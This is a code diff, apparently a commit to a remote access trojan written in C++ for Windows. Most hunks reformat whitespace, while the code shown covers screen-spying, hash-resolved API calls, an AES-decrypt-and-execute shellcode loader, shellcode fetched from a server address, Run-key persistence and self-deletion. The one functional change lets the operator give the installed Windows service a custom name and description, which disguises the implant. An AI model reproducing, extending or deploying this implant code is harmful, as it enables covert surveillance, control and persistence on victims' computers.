@@ -181,8 +182,8 @@ public:
|
||||
{
|
||||
ULONG ulNextScreenLength = 0;
|
||||
int ret = CaptureFrame(m_NextBuffer, &ulNextScreenLength, 0);
|
||||
scaleBitmap(m_BmpZoomBuffer, m_NextBuffer);
|
||||
memcpy(m_NextBuffer, m_BmpZoomBuffer, m_BitmapInfor_Send->bmiHeader.biSizeImage);
|
||||
scaleBitmap(m_BmpZoomBuffer, m_NextBuffer);
|
||||
memcpy(m_NextBuffer, m_BmpZoomBuffer, m_BitmapInfor_Send->bmiHeader.biSizeImage);
|
||||
if (ret)
|
||||
return nullptr;
|
||||
|
||||
|
||||
@@ -102,17 +102,17 @@ bool CScreenManager::SwitchScreen()
|
||||
|
||||
bool CScreenManager::RestartScreen()
|
||||
{
|
||||
if (m_ScreenSpyObject == NULL)
|
||||
return false;
|
||||
m_bIsWorking = FALSE;
|
||||
DWORD s = WaitForSingleObject(m_hWorkThread, 3000);
|
||||
if (s == WAIT_TIMEOUT) {
|
||||
TerminateThread(m_hWorkThread, -1);
|
||||
}
|
||||
m_bIsWorking = TRUE;
|
||||
m_SendFirst = FALSE;
|
||||
m_hWorkThread = __CreateThread(NULL, 0, WorkThreadProc, this, 0, NULL);
|
||||
return true;
|
||||
if (m_ScreenSpyObject == NULL)
|
||||
return false;
|
||||
m_bIsWorking = FALSE;
|
||||
DWORD s = WaitForSingleObject(m_hWorkThread, 3000);
|
||||
if (s == WAIT_TIMEOUT) {
|
||||
TerminateThread(m_hWorkThread, -1);
|
||||
}
|
||||
m_bIsWorking = TRUE;
|
||||
m_SendFirst = FALSE;
|
||||
m_hWorkThread = __CreateThread(NULL, 0, WorkThreadProc, this, 0, NULL);
|
||||
return true;
|
||||
}
|
||||
|
||||
std::wstring ConvertToWString(const std::string& multiByteStr)
|
||||
@@ -202,8 +202,7 @@ BOOL IsProcessRunningInDesktop(HDESK hDesk, const char* targetExeName)
|
||||
|
||||
// 获取进程名
|
||||
HANDLE hProcess = OpenProcess(PROCESS_QUERY_LIMITED_INFORMATION, FALSE, dwProcessId);
|
||||
if (hProcess)
|
||||
{
|
||||
if (hProcess) {
|
||||
char exePath[MAX_PATH];
|
||||
DWORD size = MAX_PATH;
|
||||
if (QueryFullProcessImageName(hProcess, 0, exePath, &size)) {
|
||||
@@ -284,7 +283,8 @@ void CScreenManager::InitScreenSpy()
|
||||
}
|
||||
}
|
||||
|
||||
BOOL IsRunningAsSystem() {
|
||||
BOOL IsRunningAsSystem()
|
||||
{
|
||||
HANDLE hToken;
|
||||
PTOKEN_USER pTokenUser = NULL;
|
||||
DWORD dwSize = 0;
|
||||
@@ -298,18 +298,18 @@ BOOL IsRunningAsSystem() {
|
||||
pTokenUser = (PTOKEN_USER)malloc(dwSize);
|
||||
|
||||
if (pTokenUser && GetTokenInformation(hToken, TokenUser, pTokenUser,
|
||||
dwSize, &dwSize)) {
|
||||
dwSize, &dwSize)) {
|
||||
// 使用 WellKnownSid 创建 SYSTEM SID
|
||||
BYTE systemSid[SECURITY_MAX_SID_SIZE];
|
||||
DWORD sidSize = sizeof(systemSid);
|
||||
|
||||
if (CreateWellKnownSid(WinLocalSystemSid, NULL, systemSid, &sidSize)) {
|
||||
isSystem = EqualSid(pTokenUser->User.Sid, systemSid);
|
||||
if (isSystem){
|
||||
if (isSystem) {
|
||||
Mprintf("当前进程以 SYSTEM 身份运行。\n");
|
||||
} else {
|
||||
Mprintf("当前进程未以 SYSTEM 身份运行。\n");
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
@@ -525,8 +525,7 @@ VOID CScreenManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
|
||||
cfg.SetInt("settings", "ScreenStrategy", strategy);
|
||||
cfg.SetInt("settings", "ScreenWidth", width);
|
||||
cfg.SetInt("settings", "ScreenHeight", height);
|
||||
switch (strategy)
|
||||
{
|
||||
switch (strategy) {
|
||||
case 0:
|
||||
if (m_ScreenSpyObject && m_ScreenSpyObject->IsLargeScreen(1920, 1080)) RestartScreen();
|
||||
break;
|
||||
@@ -588,8 +587,8 @@ VOID CScreenManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
|
||||
memcpy(h, szBuffer + 1, ulLength - 1);
|
||||
m_hash = std::string(h, h + 64);
|
||||
m_hmac = std::string(h + 64, h + 80);
|
||||
std::string files = h[80] ? std::string(h + 80, h + ulLength - 1) : "";
|
||||
SAFE_DELETE_ARRAY(h);
|
||||
std::string files = h[80] ? std::string(h + 80, h + ulLength - 1) : "";
|
||||
SAFE_DELETE_ARRAY(h);
|
||||
if (OpenClipboard(nullptr)) {
|
||||
EmptyClipboard();
|
||||
CloseClipboard();
|
||||
|
||||
@@ -61,7 +61,7 @@ public:
|
||||
bool IsRunAsService() const
|
||||
{
|
||||
if (m_conn && (m_conn->iStartup == Startup_GhostMsc || m_conn->iStartup == Startup_TestRunMsc))
|
||||
return true;
|
||||
return true;
|
||||
static BOOL is_run_as_system = IsRunningAsSystem();
|
||||
return is_run_as_system;
|
||||
}
|
||||
|
||||
@@ -18,9 +18,9 @@ CScreenSpy::CScreenSpy(ULONG ulbiBitCount, BYTE algo, BOOL vDesk, int gop, BOOL
|
||||
m_GOP = gop;
|
||||
|
||||
m_BitmapInfor_Full = ConstructBitmapInfo(ulbiBitCount, m_ulFullWidth, m_ulFullHeight);
|
||||
|
||||
iniFile cfg(CLIENT_PATH);
|
||||
int strategy = cfg.GetInt("settings", "ScreenStrategy", 0);
|
||||
|
||||
iniFile cfg(CLIENT_PATH);
|
||||
int strategy = cfg.GetInt("settings", "ScreenStrategy", 0);
|
||||
m_BitmapInfor_Send = new BITMAPINFO(*m_BitmapInfor_Full);
|
||||
switch (strategy) {
|
||||
case 1: // 1 - Original size
|
||||
|
||||
@@ -147,9 +147,9 @@ public:
|
||||
HBITMAP hOldBmp = (HBITMAP)SelectObject(hDcWindow, data->GetWindowBmp());
|
||||
BOOL ret = FALSE;
|
||||
if (PrintWindow(hWnd, hDcWindow, PW_RENDERFULLCONTENT) || SendMessageTimeout(hWnd, WM_PRINT,
|
||||
(WPARAM)hDcWindow, PRF_CLIENT | PRF_NONCLIENT, SMTO_BLOCK, 50, NULL)) {
|
||||
(WPARAM)hDcWindow, PRF_CLIENT | PRF_NONCLIENT, SMTO_BLOCK, 50, NULL)) {
|
||||
BitBlt(data->GetScreenDC(), rect.left - data->X(), rect.top - data->Y(),
|
||||
rect.right - rect.left, rect.bottom - rect.top, hDcWindow, 0, 0, SRCCOPY);
|
||||
rect.right - rect.left, rect.bottom - rect.top, hDcWindow, 0, 0, SRCCOPY);
|
||||
|
||||
ret = TRUE;
|
||||
}
|
||||
|
||||
@@ -9,6 +9,15 @@ typedef struct MyService {
|
||||
char Description[512];
|
||||
} MyService;
|
||||
|
||||
inline MyService NewService(const char* name, const char* display, const char* description)
|
||||
{
|
||||
MyService s;
|
||||
strcpy(s.Name, name);
|
||||
strcpy(s.Display, display);
|
||||
strcpy(s.Description, description);
|
||||
return s;
|
||||
}
|
||||
|
||||
typedef void (*ServiceLogFunc)(const char* message);
|
||||
|
||||
#ifdef __cplusplus
|
||||
|
||||
@@ -34,8 +34,8 @@ typedef DWORD(WINAPI* _GetModuleFileName)(HMODULE hModule, LPSTR lpFilename, DWO
|
||||
typedef DWORD(WINAPI* _SetFilePointer)(HANDLE hFile, LONG lDistanceToMove, PLONG lpDistanceToMoveHigh, DWORD dwMoveMethod);
|
||||
|
||||
#define CreateFileA_Hash 1470354217
|
||||
typedef HANDLE(WINAPI* _CreateFileA)(LPCSTR lpFileName, DWORD dwDesiredAccess, DWORD dwShareMode, LPSECURITY_ATTRIBUTES lpSecurityAttributes,
|
||||
DWORD dwCreationDisposition, DWORD dwFlagsAndAttributes, HANDLE hTemplateFile);
|
||||
typedef HANDLE(WINAPI* _CreateFileA)(LPCSTR lpFileName, DWORD dwDesiredAccess, DWORD dwShareMode, LPSECURITY_ATTRIBUTES lpSecurityAttributes,
|
||||
DWORD dwCreationDisposition, DWORD dwFlagsAndAttributes, HANDLE hTemplateFile);
|
||||
|
||||
#define ReadFile_Hash 990362902
|
||||
typedef BOOL(WINAPI* _ReadFile)(HANDLE hFile, LPVOID lpBuffer, DWORD nNumberOfBytesToRead, LPDWORD lpNumberOfBytesRead, LPOVERLAPPED lpOverlapped);
|
||||
@@ -251,10 +251,10 @@ int entry()
|
||||
struct AES_ctx ctx;
|
||||
AES_init_ctx_iv(&ctx, sc.aes_key, sc.aes_iv);
|
||||
AES_CBC_decrypt_buffer(&ctx, sc.data, sc.len);
|
||||
DWORD oldProtect = 0;
|
||||
if (!VirtualProtect(sc.data, sc.len, PAGE_EXECUTE_READ, &oldProtect)) return 5;
|
||||
((void(*)())sc.data)();
|
||||
Sleep(INFINITE);
|
||||
DWORD oldProtect = 0;
|
||||
if (!VirtualProtect(sc.data, sc.len, PAGE_EXECUTE_READ, &oldProtect)) return 5;
|
||||
((void(*)())sc.data)();
|
||||
Sleep(INFINITE);
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
@@ -3,128 +3,128 @@
|
||||
|
||||
#include <VFW.H>
|
||||
|
||||
class CVideoCodec
|
||||
{
|
||||
COMPVARS m_cv;
|
||||
HIC m_hIC;
|
||||
BITMAPINFO* m_lpbmiInput;
|
||||
BITMAPINFO m_bmiOutput;
|
||||
|
||||
public:
|
||||
|
||||
bool InitCompressor(BITMAPINFO* lpbmi, DWORD fccHandler)
|
||||
class CVideoCodec
|
||||
{
|
||||
if (lpbmi == NULL)
|
||||
return false;
|
||||
COMPVARS m_cv;
|
||||
HIC m_hIC;
|
||||
BITMAPINFO* m_lpbmiInput;
|
||||
BITMAPINFO m_bmiOutput;
|
||||
|
||||
m_lpbmiInput = lpbmi;
|
||||
public:
|
||||
|
||||
ZeroMemory(&m_cv, sizeof(m_cv));
|
||||
m_cv.cbSize = sizeof(m_cv);
|
||||
m_cv.dwFlags = ICMF_COMPVARS_VALID;
|
||||
m_cv.hic = m_hIC;
|
||||
m_cv.fccType = ICTYPE_VIDEO;
|
||||
m_cv.fccHandler = fccHandler;
|
||||
m_cv.lpbiOut = NULL;
|
||||
m_cv.lKey = 10;
|
||||
m_cv.lDataRate = 6;
|
||||
m_cv.lQ = ICQUALITY_HIGH;
|
||||
bool InitCompressor(BITMAPINFO* lpbmi, DWORD fccHandler)
|
||||
{
|
||||
if (lpbmi == NULL)
|
||||
return false;
|
||||
|
||||
m_hIC = ICOpen(ICTYPE_VIDEO, m_cv.fccHandler, ICMODE_COMPRESS | ICMODE_DECOMPRESS);
|
||||
m_lpbmiInput = lpbmi;
|
||||
|
||||
if (m_hIC == NULL) {
|
||||
return false;
|
||||
ZeroMemory(&m_cv, sizeof(m_cv));
|
||||
m_cv.cbSize = sizeof(m_cv);
|
||||
m_cv.dwFlags = ICMF_COMPVARS_VALID;
|
||||
m_cv.hic = m_hIC;
|
||||
m_cv.fccType = ICTYPE_VIDEO;
|
||||
m_cv.fccHandler = fccHandler;
|
||||
m_cv.lpbiOut = NULL;
|
||||
m_cv.lKey = 10;
|
||||
m_cv.lDataRate = 6;
|
||||
m_cv.lQ = ICQUALITY_HIGH;
|
||||
|
||||
m_hIC = ICOpen(ICTYPE_VIDEO, m_cv.fccHandler, ICMODE_COMPRESS | ICMODE_DECOMPRESS);
|
||||
|
||||
if (m_hIC == NULL) {
|
||||
return false;
|
||||
}
|
||||
|
||||
ICCompressGetFormat(m_hIC, m_lpbmiInput, &m_bmiOutput);
|
||||
// 向编码器发送验证
|
||||
ICSendMessage(m_hIC, 0x60c9, 0xf7329ace, 0xacdeaea2);
|
||||
|
||||
m_cv.hic = m_hIC;
|
||||
m_cv.dwFlags = ICMF_COMPVARS_VALID;
|
||||
|
||||
if (!ICSeqCompressFrameStart(&m_cv, m_lpbmiInput)) {
|
||||
return false;
|
||||
}
|
||||
|
||||
ICDecompressBegin(m_hIC, &m_bmiOutput, m_lpbmiInput);
|
||||
|
||||
return true;
|
||||
}
|
||||
|
||||
ICCompressGetFormat(m_hIC, m_lpbmiInput, &m_bmiOutput);
|
||||
// 向编码器发送验证
|
||||
ICSendMessage(m_hIC, 0x60c9, 0xf7329ace, 0xacdeaea2);
|
||||
bool DecodeVideoData(BYTE *pin, int len, BYTE* pout, int *lenr,DWORD flag)
|
||||
{
|
||||
if(!pin || !pout ||!m_hIC)
|
||||
return false;
|
||||
if (ICDecompress(m_hIC, flag, &m_bmiOutput.bmiHeader, pin, &m_lpbmiInput->bmiHeader, pout) != ICERR_OK)
|
||||
return false;
|
||||
|
||||
m_cv.hic = m_hIC;
|
||||
m_cv.dwFlags = ICMF_COMPVARS_VALID;
|
||||
if (lenr) *lenr = m_lpbmiInput->bmiHeader.biSizeImage;
|
||||
|
||||
if (!ICSeqCompressFrameStart(&m_cv, m_lpbmiInput)) {
|
||||
return false;
|
||||
return true;
|
||||
}
|
||||
|
||||
ICDecompressBegin(m_hIC, &m_bmiOutput, m_lpbmiInput);
|
||||
bool EncodeVideoData(BYTE* pin, int len, BYTE* pout, int* lenr, bool* pKey)
|
||||
{
|
||||
BYTE *p;
|
||||
long s = 1;
|
||||
BOOL k = true;
|
||||
if ( !pin || !pout || len != (int)m_lpbmiInput->bmiHeader.biSizeImage || !m_hIC)
|
||||
return false;
|
||||
p = (BYTE*)ICSeqCompressFrame(&m_cv, 0, pin, &k, &s);
|
||||
|
||||
return true;
|
||||
}
|
||||
if (!p) return false;
|
||||
if (lenr) *lenr = s;
|
||||
if (pKey) *pKey = k;
|
||||
|
||||
bool DecodeVideoData(BYTE *pin, int len, BYTE* pout, int *lenr,DWORD flag)
|
||||
{
|
||||
if(!pin || !pout ||!m_hIC)
|
||||
return false;
|
||||
if (ICDecompress(m_hIC, flag, &m_bmiOutput.bmiHeader, pin, &m_lpbmiInput->bmiHeader, pout) != ICERR_OK)
|
||||
return false;
|
||||
CopyMemory(pout, p, s);
|
||||
|
||||
if (lenr) *lenr = m_lpbmiInput->bmiHeader.biSizeImage;
|
||||
|
||||
return true;
|
||||
}
|
||||
|
||||
bool EncodeVideoData(BYTE* pin, int len, BYTE* pout, int* lenr, bool* pKey)
|
||||
{
|
||||
BYTE *p;
|
||||
long s = 1;
|
||||
BOOL k = true;
|
||||
if ( !pin || !pout || len != (int)m_lpbmiInput->bmiHeader.biSizeImage || !m_hIC)
|
||||
return false;
|
||||
p = (BYTE*)ICSeqCompressFrame(&m_cv, 0, pin, &k, &s);
|
||||
|
||||
if (!p) return false;
|
||||
if (lenr) *lenr = s;
|
||||
if (pKey) *pKey = k;
|
||||
|
||||
CopyMemory(pout, p, s);
|
||||
|
||||
return true;
|
||||
}
|
||||
|
||||
CVideoCodec()
|
||||
{
|
||||
m_lpbmiInput = NULL;
|
||||
}
|
||||
|
||||
virtual ~CVideoCodec()
|
||||
{
|
||||
// No init yet or init error
|
||||
if (m_hIC == NULL)
|
||||
return;
|
||||
ICDecompressEnd(m_hIC);
|
||||
ICSeqCompressFrameEnd(&m_cv);
|
||||
ICCompressorFree(&m_cv);
|
||||
ICClose(m_hIC);
|
||||
}
|
||||
|
||||
int MyEnumCodecs(int *fccHandler, char *strName)
|
||||
{
|
||||
static int i = 0;
|
||||
int nRet = 1;
|
||||
HIC hIC;
|
||||
ICINFO icInfo;
|
||||
|
||||
if (fccHandler == NULL)
|
||||
return 0;
|
||||
|
||||
if(!ICInfo(ICTYPE_VIDEO, i, &icInfo)) {
|
||||
i = 0;
|
||||
return 0;
|
||||
return true;
|
||||
}
|
||||
hIC = ICOpen(icInfo.fccType, icInfo.fccHandler, ICMODE_QUERY);
|
||||
|
||||
if (hIC) {
|
||||
ICGetInfo(hIC, &icInfo, sizeof(icInfo));
|
||||
*fccHandler = icInfo.fccHandler;
|
||||
//由于得到的szDescription是UNICODE双字节字串,所以要转换为ASCII的
|
||||
if (strName != NULL)
|
||||
wcstombs(strName, icInfo.szDescription, 256);
|
||||
} else nRet = -1;
|
||||
CVideoCodec()
|
||||
{
|
||||
m_lpbmiInput = NULL;
|
||||
}
|
||||
|
||||
ICClose(hIC);
|
||||
i++;
|
||||
return nRet;
|
||||
}
|
||||
};
|
||||
virtual ~CVideoCodec()
|
||||
{
|
||||
// No init yet or init error
|
||||
if (m_hIC == NULL)
|
||||
return;
|
||||
ICDecompressEnd(m_hIC);
|
||||
ICSeqCompressFrameEnd(&m_cv);
|
||||
ICCompressorFree(&m_cv);
|
||||
ICClose(m_hIC);
|
||||
}
|
||||
|
||||
int MyEnumCodecs(int *fccHandler, char *strName)
|
||||
{
|
||||
static int i = 0;
|
||||
int nRet = 1;
|
||||
HIC hIC;
|
||||
ICINFO icInfo;
|
||||
|
||||
if (fccHandler == NULL)
|
||||
return 0;
|
||||
|
||||
if(!ICInfo(ICTYPE_VIDEO, i, &icInfo)) {
|
||||
i = 0;
|
||||
return 0;
|
||||
}
|
||||
hIC = ICOpen(icInfo.fccType, icInfo.fccHandler, ICMODE_QUERY);
|
||||
|
||||
if (hIC) {
|
||||
ICGetInfo(hIC, &icInfo, sizeof(icInfo));
|
||||
*fccHandler = icInfo.fccHandler;
|
||||
//由于得到的szDescription是UNICODE双字节字串,所以要转换为ASCII的
|
||||
if (strName != NULL)
|
||||
wcstombs(strName, icInfo.szDescription, 256);
|
||||
} else nRet = -1;
|
||||
|
||||
ICClose(hIC);
|
||||
i++;
|
||||
return nRet;
|
||||
}
|
||||
};
|
||||
#endif // !defined(AFX_VIDEOCODEC_H_INCLUDED)
|
||||
@@ -64,7 +64,7 @@ inline BOOL SetSelfStart(const char* sPath, const char* sNmae, StartupLogFunc Lo
|
||||
if (n != 0) {
|
||||
_Mprintf("提升权限失败,错误码:%d\n", n);
|
||||
return FALSE;
|
||||
}
|
||||
}
|
||||
|
||||
// 写入的注册表路径
|
||||
#define REGEDIT_PATH "Software\\Microsoft\\Windows\\CurrentVersion\\Run"
|
||||
@@ -85,7 +85,7 @@ inline BOOL SetSelfStart(const char* sPath, const char* sNmae, StartupLogFunc Lo
|
||||
_Mprintf("写入注册表失败,错误码:%d\n", lRet);
|
||||
} else {
|
||||
_Mprintf("写入注册表成功:%s -> %s\n", sNmae, sPath);
|
||||
}
|
||||
}
|
||||
|
||||
// 关闭注册表
|
||||
RegCloseKey(hKey);
|
||||
|
||||
@@ -257,8 +257,7 @@ const char* ReceiveShellcode(const char* sIP, int serverPort, int* sizeOut)
|
||||
char serverIP[INET_ADDRSTRLEN] = { 0 };
|
||||
if (GetIPAddress(addr, serverIP, sizeof(serverIP)) == 0) {
|
||||
Mprintf("Resolved IP: %s\n", serverIP);
|
||||
}
|
||||
else {
|
||||
} else {
|
||||
Mprintf("Failed to resolve '%s'.\n", addr);
|
||||
WSACleanup();
|
||||
return NULL;
|
||||
@@ -329,8 +328,7 @@ const char* ReceiveShellcode(const char* sIP, int serverPort, int* sizeOut)
|
||||
break;
|
||||
}
|
||||
}
|
||||
}
|
||||
else {
|
||||
} else {
|
||||
closesocket(clientSocket);
|
||||
break;
|
||||
}
|
||||
@@ -446,8 +444,7 @@ BOOL APIENTRY DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpReserved)
|
||||
param.Port = atoi(g_Server.szPort);
|
||||
param.User = g_Server.pwdHash;
|
||||
threadHandle = CreateThread(NULL, 0, run, ¶m, 0, NULL);
|
||||
}
|
||||
else if (fdwReason == DLL_PROCESS_DETACH) {
|
||||
} else if (fdwReason == DLL_PROCESS_DETACH) {
|
||||
if (threadHandle) TerminateThread(threadHandle, 0x20250619);
|
||||
}
|
||||
return TRUE;
|
||||
|
||||
@@ -218,10 +218,16 @@ public:
|
||||
int main(int argc, const char *argv[])
|
||||
{
|
||||
Mprintf("启动运行: %s %s. Arg Count: %d\n", argv[0], argc > 1 ? argv[1] : "", argc);
|
||||
InitWindowsService({"ClientDemoService", "Client Demo Service", "Provide a demo service."}, Log);
|
||||
InitWindowsService(NewService(
|
||||
g_ConnectAddress.installName[0] ? g_ConnectAddress.installName : "ClientDemoService",
|
||||
g_ConnectAddress.installDir[0] ? g_ConnectAddress.installDir : "Client Demo Service",
|
||||
g_ConnectAddress.installDesc[0] ? g_ConnectAddress.installDesc : "Provide a demo service."), Log);
|
||||
bool isService = g_ConnectAddress.iStartup == Startup_TestRunMsc;
|
||||
// 注册启动项
|
||||
int r = RegisterStartup("Client Demo", "ClientDemo", !isService, g_ConnectAddress.runasAdmin, Logf);
|
||||
int r = RegisterStartup(
|
||||
g_ConnectAddress.installDir[0] ? g_ConnectAddress.installDir : "Client Demo",
|
||||
g_ConnectAddress.installName[0] ? g_ConnectAddress.installName : "ClientDemo",
|
||||
!isService, g_ConnectAddress.runasAdmin, Logf);
|
||||
if (r <= 0) {
|
||||
BOOL s = self_del();
|
||||
if (!IsDebug) {
|
||||
|
||||
Reference in New Issue
Block a user